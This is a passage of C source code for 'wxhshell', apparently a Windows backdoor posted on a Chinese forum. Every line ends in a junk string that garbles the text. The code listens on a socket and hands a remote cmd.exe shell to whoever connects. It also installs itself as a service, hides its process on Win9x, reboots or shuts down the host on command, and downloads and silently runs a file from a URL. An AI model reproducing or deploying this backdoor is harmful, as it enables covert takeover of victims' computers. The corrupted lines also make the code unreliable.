  // 帮助 IrMl:+t\  
  case '?': { g%u&Zkevx  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .To;"D;j,  
    break; $+}+zZX5  
  } ~2EHOO{  
  // 安装 #_mi `7!B#  
  case 'i': { WvHw{^(lF  
    if(Install()) ~OePp a\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N_L,]QT?  
    else y8VpFa  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rbT)=-(  
    break; smG>sEp2  
    } !ZDzEP*  
  // 卸载 +.y .Mp  
  case 'r': { @|a>&~xX  
    if(Uninstall()) ?^:h\C^a"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b;|55Y  
    else (;. AS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ND<!4!R^  
    break; B*htN  
    } oJKa"H-jL  
  // 显示 wxhshell 所在路径 1Y_w5dU  
  case 'p': { vd`}/~o  
    char svExeFile[MAX_PATH]; :V)lbn\  
    strcpy(svExeFile,"\n\r"); ?j^=u:<  
      strcat(svExeFile,ExeFile); &h*S y  
        send(wsh,svExeFile,strlen(svExeFile),0); k%[3Q>5iM  
    break; Y-ux7F{=z  
    } DoC(Z)o  
  // 重启 va f&X]p  
  case 'b': { PNW \*;j  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |%~+2m  
    if(Boot(REBOOT)) 39 {{7(hh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cNzt%MjP  
    else { wOB azWa   
    closesocket(wsh); PiFD^w  
    ExitThread(0); !~_zm*CqbZ  
    } = sAn,ri  
    break; j QU"Ved  
    } {;2i.m1  
  // 关机 .s/fhk,  
  case 'd': { 7\o!HMfK  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %7Kooq(i  
    if(Boot(SHUTDOWN)) ,_!6U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \qsw"B*tv`  
    else { qDWsvx]  
    closesocket(wsh); 1Xy]D  
    ExitThread(0); @|ye qy_:  
    } Ou'?]{  
    break; >Ps7I  
    } !gwjN_ZJ^  
  // 获取shell 4LI0SwD#^/  
  case 's': { wx=0'T-[  
    CmdShell(wsh); V+?]S  
    closesocket(wsh); 3#wcKv%>&_  
    ExitThread(0); wLuv6\E  
    break; `ir3YnT+  
  } 4([.xT  
  // 退出 A`O<6   
  case 'x': { Kex[ >L10G  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ju@Q6J5  
    CloseIt(wsh); Y^$HrI(vq  
    break; 1|,Pq9  
    } {5c]Mn"r  
  // 离开 &R+#W  
  case 'q': { g. %  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); SM[{BH<  
    closesocket(wsh); kfC0zd+  
    WSACleanup(); 'f?.R&sCA  
    exit(1); 4dH}g~[P9  
    break; `=tyN@VC  
        } ,KW;2t*IQ@  
  } yI:# |w|  
  } B%<e FFV\  
gL$&@NY  
  // 提示信息 "YFls#4H-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uMXc0fs!$  
} 9 -h.|T2il  
  } #*q2d  
vTr34n  
  return; _|c&@M  
} #S QXTR  
5#:pT  
// shell模块句柄 lH BI  
int CmdShell(SOCKET sock) bk#xiuwT  
{ fhp)S",  
STARTUPINFO si; RcY[rnI6  
ZeroMemory(&si,sizeof(si)); T)u4S[ &  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s(@h 2:j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wV <7pi  
PROCESS_INFORMATION ProcessInfo; )jW(6  
char cmdline[]="cmd"; kv|,b  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;cP8?U  
  return 0; tR`S#rk  
} pD`/_-=^h  
I/u9RmbU  
// 自身启动模式 o 5Zyh26  
int StartFromService(void) %&] 1FhL  
{ =TcOnQj  
typedef struct y]qsyR18i  
{ 4!%]fg}Um  
  DWORD ExitStatus; 5rN _jC*U  
  DWORD PebBaseAddress; to3?$-L  
  DWORD AffinityMask; wz#[:2  
  DWORD BasePriority; eqzTQen8q  
  ULONG UniqueProcessId; )5l u.R%  
  ULONG InheritedFromUniqueProcessId; XCPb9<L  
}   PROCESS_BASIC_INFORMATION; +t\^(SJ6  
t{(Mf2GR1  
PROCNTQSIP NtQueryInformationProcess; .P/xs4  
d.}}s$Q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mZoD033H  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; EZAm)5:]A  
b~w KF0vq  
  HANDLE             hProcess; }brr ) )  
  PROCESS_BASIC_INFORMATION pbi; LD.Ck6@  
fEiJ~&{&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H1UL.g%d=  
  if(NULL == hInst ) return 0; FLbZ9pX}  
m#ad6 \  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S:97B\ u`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -uR{X G. D  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 75Fp[Q-  
@ R'E?|  
  if (!NtQueryInformationProcess) return 0; 2]Fu 1  
Yk7"XP[Y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yV_ L/,6}D  
  if(!hProcess) return 0; -- S"w@  
w|G~Il  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 'wE\{1~_[+  
`i4I!E  
  CloseHandle(hProcess); PJwEA  
_W+Q3Jx-(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); S-,kI  
if(hProcess==NULL) return 0; {{zua- F  
}~GV'7d1  
HMODULE hMod; Jk~UEqr+  
char procName[255]; 2VMX:&3 5J  
unsigned long cbNeeded; Zjt9vS)  
GU#Q}L2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !h/dZ`#  
C zpsqTQ  
  CloseHandle(hProcess); }!knU3J  
B{4"$Mi  
if(strstr(procName,"services")) return 1; // 以服务启动 JOgmF_(>Z  
r'PE5xqF  
  return 0; // 注册表启动 YiBOi?h9  
} 1J+3a-0  
]nHe$x!2]  
// 主模块 [BE:+ ID3  
int StartWxhshell(LPSTR lpCmdLine) o] S`+ZcV  
{ gm}C\q9  
  SOCKET wsl; n4XMN\:g{  
BOOL val=TRUE; Tu'E{Hw  
  int port=0; |oFI[PE  
  struct sockaddr_in door; b/G8M r  
L:Ed-=|Uw  
  if(wscfg.ws_autoins) Install(); =Y:5,.U  
zo87^y5?G  
port=atoi(lpCmdLine); dvxf lLd @  
[I_BCf  
if(port<=0) port=wscfg.ws_port; )*+u\x_Hx  
i"KL;t[1  
  WSADATA data; !__D}k,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; QM7[O]@  
J1& A,Gb  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?F!W#   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &~42T}GTWG  
  door.sin_family = AF_INET; +i2YX7Of  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {W]bU{%.  
  door.sin_port = htons(port); 7d%A1}Bq$  
<b3x(/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { JIB?dIN 1  
closesocket(wsl); _ Eszr(zJ  
return 1; k`{RXx  
} 6j?FRs  
z^ YeMe  
  if(listen(wsl,2) == INVALID_SOCKET) { Bi$ 0{V Z8  
closesocket(wsl); VM=hQYe  
return 1; b*@&c9I;q  
} =I %g;YK  
  Wxhshell(wsl); t00\yb^vJ8  
  WSACleanup(); G*8+h  
#_JA5W+E  
return 0; H^]Nmd8Q)  
hwEZj`9  
} aslU`#"  
/h1dm,  
// 以NT服务方式启动 K'a#Mg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) CM+F7#T?n  
{ HTR "mQ  
DWORD   status = 0; 3P%w-qT!N  
  DWORD   specificError = 0xfffffff; z" b/osV  
fho=<|-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; GhSL%y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; x*5 Ch~<k  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !:]s M-cCt  
  serviceStatus.dwWin32ExitCode     = 0; 5bu[}mJ  
  serviceStatus.dwServiceSpecificExitCode = 0; 6R$ F =MB  
  serviceStatus.dwCheckPoint       = 0; lQ=&jkw  
  serviceStatus.dwWaitHint       = 0; J3]qg.B%z  
^&f{beU9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3I(dC|d  
  if (hServiceStatusHandle==0) return; 4GMa5]Ft  
=!1-AR%.^  
status = GetLastError(); 2)HxW}o  
  if (status!=NO_ERROR) 3D 4]yR5  
{ 1]D/3!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; N(:EK  
    serviceStatus.dwCheckPoint       = 0; ^P3g9'WK  
    serviceStatus.dwWaitHint       = 0; t1.zWe+C>3  
    serviceStatus.dwWin32ExitCode     = status; t  z +  
    serviceStatus.dwServiceSpecificExitCode = specificError; b@{%qh ,C  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); m11"i=S"  
    return; (R;) 9I\  
  } i?&4SG+2~K  
>q} !>k$B  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $ g1wK}B3  
  serviceStatus.dwCheckPoint       = 0; :>AW@SoTp  
  serviceStatus.dwWaitHint       = 0; P ],)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); onWYT}c{  
} R"9oMaY  
$ly#zQR  
// 处理NT服务事件,比如:启动、停止 $~w@0Yl  
VOID WINAPI NTServiceHandler(DWORD fdwControl) A|`Joxr  
{ c1)BGy li  
switch(fdwControl) pR@GvweA  
{ hX'z]Am<  
case SERVICE_CONTROL_STOP: 2heWE  
  serviceStatus.dwWin32ExitCode = 0; ?C#F?N0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %(dV|,|v  
  serviceStatus.dwCheckPoint   = 0; w>9H"Q[  
  serviceStatus.dwWaitHint     = 0; A^= Hu,"e  
  { mhJOR'2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v4,syd*3|V  
  } Chb 4VoE  
  return; lo>-}xd  
case SERVICE_CONTROL_PAUSE: vBCZ/F[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; w|n?m  
  break; ![X.%  
case SERVICE_CONTROL_CONTINUE: L[QI 5N  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; k?|zIu  
  break; !5' 8a5  
case SERVICE_CONTROL_INTERROGATE: ]'  "^M  
  break; mn6p s6OB  
}; nkCRe  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9bzYADLI  
} yw3U"/yw  
Ph! KL\  
// 标准应用程序主函数 NkjQyMF  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) z }b U\3!  
{ Ygkd~g  
31o7R &v  
// 获取操作系统版本 CgTQGJ}-  
OsIsNt=GetOsVer(); /kviO@jm4(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); qdkTg:QJ,  
)l!&i?h%  
  // 从命令行安装 xdTzG4  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]K0,nj*\c  
EK-bvZ  
  // 下载执行文件 K~hlwjrt  
if(wscfg.ws_downexe) { -WHwz m  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ow>[#.ua  
  WinExec(wscfg.ws_filenam,SW_HIDE); `v/tf|v 6  
} BUy}Rn  
UXdC<(vK  
if(!OsIsNt) { 3 z/O`z  
// 如果时win9x,隐藏进程并且设置为注册表启动 $Ln2O#  
HideProc(); /*R' xBr  
StartWxhshell(lpCmdLine); Om?:X!l"  
} MT#[ - M\  
else a~N)qYL:  
  if(StartFromService()) xzf)_ <  
  // 以服务方式启动 !E>3N:  
  StartServiceCtrlDispatcher(DispatchTable); D<L{Z[  
else 4#Nd;gM2  
  // 普通方式启动 $}h_EI6hS  
  StartWxhshell(lpCmdLine); Hd@T8 D*A  
k3|9U'r!c  
return 0; ,vY I O  
}
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只看该作者 1 发表于: 2006-10-10
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